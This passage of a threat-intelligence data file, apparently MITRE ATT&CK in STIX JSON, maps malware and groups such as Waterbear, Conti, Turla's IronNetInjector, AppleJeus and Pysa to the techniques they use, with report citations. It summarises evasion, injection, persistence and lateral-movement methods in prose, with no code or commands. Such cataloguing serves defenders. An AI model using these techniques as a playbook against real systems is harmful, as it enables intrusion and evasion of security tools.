            "type": "relationship",
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            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) has used RC4 encrypted shellcode.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--7b6c1b21-67e7-4930-82e3-8b13d8aac0ce",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8",
            "target_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--d14e6464-a6c5-4554-a463-88e267828397",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.(Citation: Trend Micro Waterbear December 2019) ",
            "relationship_type": "uses",
            "id": "relationship--9d2dfa0b-8370-4873-9b8f-4366e61be715",
            "type": "relationship",
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        {
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            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can inject decrypted shellcode into the LanmanServer service.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--56e0b679-1c1b-4c82-9346-bde619c21117",
            "type": "relationship",
            "modified": "2021-02-22T20:10:50.033Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "external_references": [
                {
                    "source_name": "Carnegie Mellon University Supernova Dec 2020",
                    "url": "https://www.kb.cert.org/vuls/id/843464",
                    "description": "Carnegie Mellon University. (2020, December 26). SolarWinds Orion API authentication bypass allows remote command execution. Retrieved February 22, 2021."
                },
                {
                    "source_name": "Splunk Supernova Jan 2021",
                    "url": "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html",
                    "description": "Stoner, J. (2021, January 21). Detecting Supernova Malware: SolarWinds Continued. Retrieved February 22, 2021."
                }
            ],
            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).(Citation: Carnegie Mellon University Supernova Dec 2020)(Citation: Splunk Supernova Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--6b8761f0-fd7d-45da-971a-b3883e77fcc5",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can use thread injection to inject shellcode into the process of security software.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--4aa3b66d-f312-4f1f-912a-b7b1762f9d82",
            "type": "relationship",
            "modified": "2021-02-22T20:10:49.977Z",
            "created": "2021-02-22T20:10:49.977Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can scramble functions not to be executed again with random values.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--e041070a-ff38-47ee-aebd-8d1bc714231e",
            "type": "relationship",
            "modified": "2021-04-24T20:33:05.441Z",
            "created": "2021-02-22T20:10:49.992Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can hook the <code>ZwOpenProcess</code> and <code>GetExtendedTcpTable</code> APIs called by the process of a security product to hide PIDs and TCP records from detection.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--db963d57-c16f-4a69-92f3-fce8d25ab93d",
            "type": "relationship",
            "modified": "2021-02-22T20:22:19.964Z",
            "created": "2021-02-22T20:22:19.964Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can find the presence of a specific security software.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--9b8341df-94d6-4989-9662-9af1b2233036",
            "type": "relationship",
            "modified": "2021-02-22T20:31:47.092Z",
            "created": "2021-02-22T20:31:47.092Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can identify the process for a specific security product.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--d9b4c254-8e05-4410-ae4d-a47f55e6bf51",
            "type": "relationship",
            "modified": "2021-02-22T20:31:47.167Z",
            "created": "2021-02-22T20:31:47.167Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can discover files on a local system.(Citation: CarbonBlack Conti July 2020)",
            "relationship_type": "uses",
            "id": "relationship--707f2ce7-a09f-4df4-8b48-3106a63da041",
            "type": "relationship",
            "modified": "2021-04-13T18:30:41.691Z",
            "created": "2021-02-22T22:08:43.112Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) has encrypted DLLs and used obfuscation to hide Windows API calls.(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--9cc5bd19-ab08-4eb7-886b-ce55fde60421",
            "type": "relationship",
            "modified": "2021-02-25T00:50:55.423Z",
            "created": "2021-02-25T00:50:55.423Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) has used API calls during execution.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ",
            "relationship_type": "uses",
            "id": "relationship--f9a82ef5-524a-4b95-a9b5-560e61f3d2fa",
            "type": "relationship",
            "modified": "2021-02-25T01:55:40.902Z",
            "created": "2021-02-25T01:55:40.902Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "external_references": [
                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used the C$ network share for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)",
            "relationship_type": "uses",
            "id": "relationship--2251345d-d828-4768-b8f0-4a4ddd8e41ca",
            "type": "relationship",
            "modified": "2021-02-25T13:38:55.719Z",
            "created": "2021-02-25T13:38:55.719Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used IronPython scripts as part of the [IronNetInjector](https://attack.mitre.org/software/S0581) toolchain to drop payloads.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--afea3455-9565-4e5d-b431-e845ec1722d2",
            "type": "relationship",
            "modified": "2021-02-25T16:50:42.106Z",
            "created": "2021-02-25T16:48:05.766Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--5543599a-779f-4955-8f3e-99cc92b1e2fc",
            "type": "relationship",
            "modified": "2021-02-25T16:48:06.231Z",
            "created": "2021-02-25T16:48:06.231Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--14d60e02-4ceb-4972-844c-412e9599144f",
            "type": "relationship",
            "modified": "2021-04-12T15:10:56.434Z",
            "created": "2021-02-25T16:57:07.026Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to decrypt embedded .NET and PE payloads.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--b16b1e0e-63b0-4c5b-8809-476d9645948c",
            "type": "relationship",
            "modified": "2021-02-25T17:05:15.950Z",
            "created": "2021-02-25T17:05:15.950Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--e842c832-8e3a-487c-bdde-e1614fec6c7e",
            "type": "relationship",
            "modified": "2021-02-25T17:05:15.970Z",
            "created": "2021-02-25T17:05:15.970Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has used a task XML file named <code>mssch.xml</code> to run an IronPython script when a user logs in or when specific system events are created.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--8fb40ded-3a84-48ad-ab52-342cf2ab629e",
            "type": "relationship",
            "modified": "2021-02-25T18:32:05.716Z",
            "created": "2021-02-25T18:32:05.716Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to inject a DLL into running processes, including the [IronNetInjector](https://attack.mitre.org/software/S0581) DLL into explorer.exe.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--c4e3450c-c657-43c3-b825-031b12a33611",
            "type": "relationship",
            "modified": "2021-04-12T15:10:56.654Z",
            "created": "2021-02-25T18:40:40.227Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can identify processes via C# methods such as <code>GetProcessesByName</code> and running [Tasklist](https://attack.mitre.org/software/S0057) with the Python <code>os.popen</code> function.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--10b4ef89-5f69-4809-a410-37256407b5fa",
            "type": "relationship",
            "modified": "2021-04-12T15:09:00.014Z",
            "created": "2021-02-25T18:46:03.681Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can use IronPython scripts to load payloads with the help of a .NET injector.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--02f18eff-faf1-421b-a0e9-e9852833bb04",
            "type": "relationship",
            "modified": "2021-02-25T20:26:00.879Z",
            "created": "2021-02-25T18:59:16.634Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
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                {
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has obtained SSL certificates for their C2 domains.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has placed a plist file within the <code>LaunchDaemons</code> folder and launched it manually.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
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                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has required user execution of a malicious MSI installer.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
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                }
            ],
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                }
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            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has been distributed via spearphishing link.(Citation: CISA AppleJeus Feb 2021)",
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                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."
                }
            ],
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has used brute force attempts against a central management console, as well as some Active Directory accounts.(Citation: CERT-FR PYSA April 2020)",
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf",
                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."
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            ],
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has used Powershell scripts to deploy its ransomware.(Citation: CERT-FR PYSA April 2020) ",
            "relationship_type": "uses",
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) has modified the registry key \u201cSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\u201d and added the ransom note.(Citation: CERT-FR PYSA April 2020) ",
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) has used RSA and AES-CBC encryption algorithm to encrypt a list of targeted file extensions.(Citation: CERT-FR PYSA April 2020) ",
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                }
            ],
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has used Python scripts to deploy ransomware.(Citation: CERT-FR PYSA April 2020)",
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                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."
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            ],
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has executed a malicious executable by naming it svchost.exe.(Citation: CERT-FR PYSA April 2020)",
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                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."
                }
            ],
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
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                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "description": "[Kerrdown](https://attack.mitre.org/software/S0585) can download additional software including [Cobalt Strike](https://attack.mitre.org/software/S0154) from servers on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)",
            "relationship_type": "uses",
            "id": "relationship--c4623d45-8a1b-4498-b4bb-579549f2f3b7",
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                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious links.(Citation: Amnesty Intl. Ocean Lotus February 2021)",
            "relationship_type": "uses",
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            ],
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                }
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) has used [PsExec](https://attack.mitre.org/software/S0029) to copy and execute the ransomware.(Citation: CERT-FR PYSA April 2020)",
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                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) has been installed as a Windows service.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has added a leading <code>.</code> to plist filenames, unlisting them from the Finder app and default Terminal directory listings.(Citation: CISA AppleJeus Feb 2021)",
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced Port Scanner tool.(Citation: CERT-FR PYSA April 2020)",
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced IP Scanner tool.(Citation: CERT-FR PYSA April 2020)",
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                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has hosted malicious downloads on Github.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has decoded files received from a C2.(Citation: CISA AppleJeus Feb 2021)",
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                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has sent data to its C2 server via <code>POST</code> requests.(Citation: CISA AppleJeus Feb 2021)",
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                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has created a scheduled SYSTEM task that runs when a user logs in.(Citation: CISA AppleJeus Feb 2021)",
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                {
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has waited a specified time before downloading a second stage payload.(Citation: CISA AppleJeus Feb 2021)",
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
